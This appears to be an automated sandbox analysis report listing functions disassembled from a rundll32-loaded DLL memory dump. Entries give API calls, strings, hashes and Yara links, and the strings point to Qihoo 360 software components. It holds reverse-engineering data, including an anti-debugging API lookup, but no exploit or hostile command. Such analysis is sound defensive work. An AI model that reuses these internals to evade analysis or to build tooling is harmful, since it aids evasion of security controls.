Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: HeapProcessString_vsnwprintf_smemset
String ID: com$error_code
API String ID: 3912638396-1490343999
Opcode ID: cfaba8477e03315f3b12a173a0c847dc1424b74dc3d3080e5699b2adfcb71124
Instruction ID: a6db5d25ead79d5040835bfd854280f02b38994ac018b834727960b236b5b414
Opcode Fuzzy Hash: cfaba8477e03315f3b12a173a0c847dc1424b74dc3d3080e5699b2adfcb71124
Instruction Fuzzy Hash: E351D772601D4995EB82DB25D8803DE2360FB88BD8F55C212FE2D476E9DF34CA49C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D00C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018000D094
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000000018000D132
GetLastError.KERNEL32 ref: 000000018000D13C

Strings

http://%s/wcheckquery, xrefs: 000000018000D012

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinmemset
String ID: http://%s/wcheckquery
API String ID: 1980634866-481256882
Opcode ID: e44517d9abee306bf729d9c1b39ec77439867e7632e0484d40de2573647f887c
Instruction ID: d06bd9b14ce5bf28a863698d63a9b65a52eeb4a283bf68ad799e7df679026a35
Opcode Fuzzy Hash: e44517d9abee306bf729d9c1b39ec77439867e7632e0484d40de2573647f887c
Instruction Fuzzy Hash: 0841A032601B4996E7A2CF64E8403DA73E4F788BA4F548125EF8957794EF3CC659C350

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180074740 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96sleeplibraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,000000018001AEC5), ref: 00000001800747AB
Sleep.KERNEL32(?,?,?,000000018001AEC5), ref: 0000000180074840
SetLastError.KERNEL32(?,?,?,000000018001AEC5), ref: 0000000180074885

Strings

InitOnceExecuteOnce, xrefs: 00000001800747A1

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressErrorLastProcSleep
String ID: InitOnceExecuteOnce
API String ID: 299661913-4081768745
Opcode ID: 094ff7c6e7223ac0c25a3f196aef8d97d885558a79827bf00b4784aca917e5fd
Instruction ID: d97429db02a29b97f0d7b061f75759de830bcf77ba77d21ec7224c84f46128ac
Opcode Fuzzy Hash: 094ff7c6e7223ac0c25a3f196aef8d97d885558a79827bf00b4784aca917e5fd
Instruction Fuzzy Hash: 4331C63131175881FBDA8B65AC103A92294BB4DBE4F44C225FE6A9B7D4DF3DCA4A8300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180042088 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

??_V@YAXPEAX@Z.MSVCRT ref: 00000001800421A6

Strings

nct, xrefs: 000000018004217C
emc, xrefs: 0000000180042137
mpt, xrefs: 0000000180042158

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID: emc$mpt$nct
API String ID: 0-4018135154
Opcode ID: de2908332be039851882f27ba843e54a0a4e6a129764ff773922d891e26d8285
Instruction ID: 4437dbb73dbe2b615a95de1095330fd5d3d5a6b349df20e8dd5e5932057711ae
Opcode Fuzzy Hash: de2908332be039851882f27ba843e54a0a4e6a129764ff773922d891e26d8285
Instruction Fuzzy Hash: 00416872200B499AEB82DF71D8403DA37B0F3587D8F858912FA28976A9DF34C659C790

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005CCA8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000000018005CD59
GetProcAddress.KERNEL32 ref: 000000018005CD6E

Strings

ZwSetInformationThread, xrefs: 000000018005CD64
NTDLL.DLL, xrefs: 000000018005CD52

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NTDLL.DLL$ZwSetInformationThread
API String ID: 1646373207-2735485441
Opcode ID: 42bcdad47f616cafdcd5b405ab44a7d36b4e0dac125c8dcdc21394efa803f9cc
Instruction ID: b89890f0d555bdc3e142d7496d6436052e72b1d505dadace56c849a3f497b7c1
Opcode Fuzzy Hash: 42bcdad47f616cafdcd5b405ab44a7d36b4e0dac125c8dcdc21394efa803f9cc
Instruction Fuzzy Hash: 10315472A04B8886E6829B24D5017E86760FB987C4F05E625FF5D62293EF35E7CCC311

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005F014 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32 ref: 000000018005F105

Strings

select * from sqlite_sequence;, xrefs: 000000018005F0A6
update sqlite_sequence set seq = 0 where name='MT';, xrefs: 000000018005F0DF
DELETE FROM 'MT', xrefs: 000000018005F06D

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: MutexRelease
String ID: DELETE FROM 'MT'$select * from sqlite_sequence;$update sqlite_sequence set seq = 0 where name='MT';
API String ID: 1638419-14785165
Opcode ID: 881e86d389d9cefced57cf04117e8820d9d165fbcb2647cbb323e1f898b7160a
Instruction ID: 2735ef6a2105b6c033439e84eaa5791c9d84b25ec53eae267885e45c8fb0a052
Opcode Fuzzy Hash: 881e86d389d9cefced57cf04117e8820d9d165fbcb2647cbb323e1f898b7160a
Instruction Fuzzy Hash: 2231CE32305B4982EAA59B64E5903AD6390F78CBE0F089224EF6D57BD1CF69CA598700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005C9F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

SHGetValueW.SHLWAPI ref: 000000018005CA65
_time64.MSVCRT ref: 000000018005CA9D

Strings

MsgCenter, xrefs: 000000018005CA28
opentime_afterupdate, xrefs: 000000018005CA52

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value_time64
String ID: MsgCenter$opentime_afterupdate
API String ID: 785988768-2434204715
Opcode ID: 5bb0f640ed1e05b6f5fb6319ad101f5784147dd22b425cd5bc3155a5095c0593
Instruction ID: fc05a4dbc7e4eba58b3f0245281c2719f95df9f8cff95e83ed4d87eeecbf7a83
Opcode Fuzzy Hash: 5bb0f640ed1e05b6f5fb6319ad101f5784147dd22b425cd5bc3155a5095c0593
Instruction Fuzzy Hash: F021A272600B4887E752CF28D4407897BA0F788BF4F508325BA69537E4DF34C649CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005CDD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_wcslwr.MSVCRT ref: 000000018005CE1F
memset.MSVCRT ref: 000000018005CE61
??2@YAPEAX_K@Z.MSVCRT ref: 000000018005CE89

Strings

Global\QIHOO360_%s, xrefs: 000000018005CE6B

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@_wcslwrmemset
String ID: Global\QIHOO360_%s
API String ID: 2483156104-3710684550
Opcode ID: 9be342a6d8c237716bffd5caf06391c6b8b6f70f0f13e01ce8d5a989816153c8
Instruction ID: 82c5ad46f6e7f4dabe07948ff870f9b922604b6aade2c66f9895ca3b1b8f50de
Opcode Fuzzy Hash: 9be342a6d8c237716bffd5caf06391c6b8b6f70f0f13e01ce8d5a989816153c8
Instruction Fuzzy Hash: 5821A171205B8881FBA6DB10E8553EA6360F7897D4F808221B69D077D5EF3DCA49C745

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005B1FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00000001800572CC: GetModuleHandleW.KERNEL32 ref: 00000001800572F3
Part of subcall function 00000001800572CC: GetProcAddress.KERNEL32 ref: 0000000180057303

SHSetValueW.SHLWAPI ref: 000000018005B2B6
SHSetValueW.SHLWAPI ref: 000000018005B2E2

Strings

opentime_traystartup, xrefs: 000000018005B2A3, 000000018005B2CF
MsgCenter, xrefs: 000000018005B21F, 000000018005B229, 000000018005B240, 000000018005B24A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: MsgCenter$opentime_traystartup
API String ID: 1929421221-2252518459
Opcode ID: 3abeb8fc91df8dd5900424b586f49943e6197e38022a5c10ccb5856e26316cfc
Instruction ID: b7589bd7c9edc25a710676dc7680ca351ec7a130bddfa3bcd3ac7e714d28a79a
Opcode Fuzzy Hash: 3abeb8fc91df8dd5900424b586f49943e6197e38022a5c10ccb5856e26316cfc
Instruction Fuzzy Hash: 5B216F72214A4882E751DF68E84478AB760FB897F4F408301F5BD53AE9DF78C299CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005B0F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

SHGetValueW.SHLWAPI ref: 000000018005B172
SHGetValueW.SHLWAPI ref: 000000018005B1C0

Strings

opentime_traystartup, xrefs: 000000018005B160, 000000018005B1AE
MsgCenter, xrefs: 000000018005B139

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value
String ID: MsgCenter$opentime_traystartup
API String ID: 3702945584-2252518459
Opcode ID: e7e1ea0997a0aebb528af51b835e443ca0a464db8d25fc4fd5322d43dc3a84cf
Instruction ID: 822726540527e7bff4823bd2222deb8b26a33040d1884c58a740bbbc5b89d818
Opcode Fuzzy Hash: e7e1ea0997a0aebb528af51b835e443ca0a464db8d25fc4fd5322d43dc3a84cf
Instruction Fuzzy Hash: A631C476201B488AEBA18F25D8443D937A4F7487ACF418715EA6C02BE8EF38C258C784

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006A4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

sscanf.LEGACY_STDIO_DEFINITIONS ref: 000000018006A519
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,0000000180069AA1), ref: 000000018006A530
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,0000000180069AA1), ref: 000000018006A542

Strings

%hu-%hu-%hu %hu:%hu:%hu, xrefs: 000000018006A4FA

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Time$File$LocalSystemsscanf
String ID: %hu-%hu-%hu %hu:%hu:%hu
API String ID: 34346384-1004895946
Opcode ID: d723607966dc0ff236e85823f2716610310f4f89feb8e52b597ed1c2c8f9df5e
Instruction ID: 56cd0a7082cee1cdafaeaa7a6634e2a063740646281a87663471f261b7941616
Opcode Fuzzy Hash: d723607966dc0ff236e85823f2716610310f4f89feb8e52b597ed1c2c8f9df5e
Instruction Fuzzy Hash: 53210472B10B1889FB81DFA4D8803DD33B4B708788F948526EA1D96768EF34C659C750

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001915C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0000000180019190
memset.MSVCRT ref: 00000001800191B6
GetLongPathNameW.KERNEL32 ref: 00000001800191C9

Strings

System32, xrefs: 0000000180019166

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: LongNamePathmemsetwcschr
String ID: System32
API String ID: 1234868084-919923750
Opcode ID: 63ae055987751f564649761a82e02fa83986ab2b29aab6a60c23bad4ffdf8bdd
Instruction ID: 022cfa0bf7d635e91ec6b184de1930e682d5e478c1da967905a178ce1f931210
Opcode Fuzzy Hash: 63ae055987751f564649761a82e02fa83986ab2b29aab6a60c23bad4ffdf8bdd
Instruction Fuzzy Hash: DA117536304A4892EBA1DB55E4843DA23A0F78CBD4F948625ABBD437D5DF38C699C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180040358 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018004038D
SHGetSpecialFolderPathW.SHELL32 ref: 00000001800403A0

Part of subcall function 0000000180019044: LoadLibraryExW.KERNEL32 ref: 000000018001906D
Part of subcall function 0000000180019044: FindResourceW.KERNEL32 ref: 0000000180019085
Part of subcall function 0000000180019044: SizeofResource.KERNEL32 ref: 0000000180019099
Part of subcall function 0000000180019044: LoadResource.KERNEL32 ref: 00000001800190A8
Part of subcall function 0000000180019044: LockResource.KERNEL32 ref: 00000001800190B9
Part of subcall function 0000000180019044: malloc.MSVCRT ref: 00000001800190CA
Part of subcall function 0000000180019044: memmove.MSVCRT ref: 00000001800190E1
Part of subcall function 0000000180019044: FreeResource.KERNEL32 ref: 00000001800190E9
Part of subcall function 0000000180019044: FreeLibrary.KERNEL32 ref: 00000001800190F2
Part of subcall function 0000000180019044: VerQueryValueW.VERSION ref: 000000018001911A
Part of subcall function 0000000180019044: free.MSVCRT ref: 000000018001913F

Strings

\Internet Explorer\IEXPLORE.EXE, xrefs: 00000001800403A6
%u.%u.%u, xrefs: 00000001800403D4

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Resource$FreeLibraryLoad$FindFolderLockPathQuerySizeofSpecialValuefreemallocmemmovememset
String ID: %u.%u.%u$\Internet Explorer\IEXPLORE.EXE
API String ID: 28297470-3177478685
Opcode ID: 24d6d362a50ceef5c55e60ddcc5b0fe3f6e297d637c40a6a892b7a9edbf356b3
Instruction ID: 8c267d1c97a4f3ae60188c217bf77148b2efdc3265efdf379ec177d08f4db65c
Opcode Fuzzy Hash: 24d6d362a50ceef5c55e60ddcc5b0fe3f6e297d637c40a6a892b7a9edbf356b3
Instruction Fuzzy Hash: 95118F32325A8986EB91DB25E4457DB7360F78C789F805012B68A47955DF3DC609CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003C7D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 000000018001AD68: InitializeCriticalSection.KERNEL32(?,?,?,?,?,000000018001AFD5), ref: 000000018001ADCE

GetModuleFileNameW.KERNEL32 ref: 000000018003C829
PathAppendW.SHLWAPI ref: 000000018003C83B
PathFileExistsW.SHLWAPI ref: 000000018003C846

Strings

..\360NetBase64.dll, xrefs: 000000018003C82F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FilePath$AppendCriticalExistsInitializeModuleNameSection
String ID: ..\360NetBase64.dll
API String ID: 2373086246-4183035884
Opcode ID: d761a6c3e6a00880f8900059568cee75d214a1108ffb73bc445c6367f4a0409a
Instruction ID: af5cf4f44f90b4c64e773468feb6851d22c47134ddc293a853e7e5ebda926cde
Opcode Fuzzy Hash: d761a6c3e6a00880f8900059568cee75d214a1108ffb73bc445c6367f4a0409a
Instruction Fuzzy Hash: 25114C71614A4981FBF3AB60E8953DB23A0FB8D7C9F518115B58D825A5EF28C74DC702

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002DE4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

wcsncmp.MSVCRT ref: 0000000180002E06
wcsncmp.MSVCRT ref: 0000000180002E20
PathIsDirectoryW.SHLWAPI ref: 0000000180002E34

Strings

\\?\, xrefs: 0000000180002DFF

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: wcsncmp$DirectoryPath
String ID: \\?\
API String ID: 911398208-4282027825
Opcode ID: eba105415aec120dfe2fa9ea8ee759a3358e54afb6881a7277e4926ce0db569d
Instruction ID: 9903006c7179f3997e6314bb7e882962eeb1ce79a0b7cc9db4c5bfd4c7dd6eaa
Opcode Fuzzy Hash: eba105415aec120dfe2fa9ea8ee759a3358e54afb6881a7277e4926ce0db569d
Instruction Fuzzy Hash: E501AD3036568882FBA2EB25EC457E97214BB4CBD0F848235B96A8B1E5DF6CC34DC304

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800142E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180014317
GetModuleFileNameW.KERNEL32 ref: 000000018001432E
PathAppendW.SHLWAPI ref: 0000000180014340

Part of subcall function 0000000180065EE4: PathFileExistsW.SHLWAPI ref: 0000000180065F00
Part of subcall function 0000000180065EE4: EnterCriticalSection.KERNEL32 ref: 0000000180065F2A
Part of subcall function 0000000180065EE4: LeaveCriticalSection.KERNEL32 ref: 0000000180065F73

Strings

..\safemon\FreeSaaS.tpi, xrefs: 0000000180014334

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalFilePathSection$AppendEnterExistsLeaveModuleNamememset
String ID: ..\safemon\FreeSaaS.tpi
API String ID: 154803636-205188023
Opcode ID: 5dcafe1727c8202c4fade54654e340c0afccdd89b962ceed78f6299e177fdd45
Instruction ID: d74fc56e569283819db6817bdf86699dd223bda9e6afadc26b68049d38556e4d
Opcode Fuzzy Hash: 5dcafe1727c8202c4fade54654e340c0afccdd89b962ceed78f6299e177fdd45
Instruction Fuzzy Hash: B5016D35219A8C82FBE2D721EC693D92790B78D388F80D041A4AA077A1DF2DC30DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800560C8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 0000000180056109
CreateMutexW.KERNEL32(?,?,?,?,?,?,00000000,000000018000BCF5,?,?,?,?,?,0000000180006143), ref: 000000018005611D
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,000000018000BCF5,?,?,?,?,?,0000000180006143), ref: 000000018005612B

Strings

D:P(OA;;FA;;;WD), xrefs: 00000001800560EC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: DescriptorSecurity$ConvertCreateFreeLocalMutexString
String ID: D:P(OA;;FA;;;WD)
API String ID: 794372803-936388898
Opcode ID: 8eafacdefded48d18c198f43637dcf9209a60b0ec07301bfb3a11cb5b2937e32
Instruction ID: 0d5b46b33c23d90729eae48064ade5dfd8da35591b75e80b0d34519ac450dbba
Opcode Fuzzy Hash: 8eafacdefded48d18c198f43637dcf9209a60b0ec07301bfb3a11cb5b2937e32
Instruction Fuzzy Hash: 44014B72A14F4486EB518F21F8487A973E0F78CBD4F468221EA5D87714DF38C658C744

Uniqueness

Uniqueness Score: -1.00%

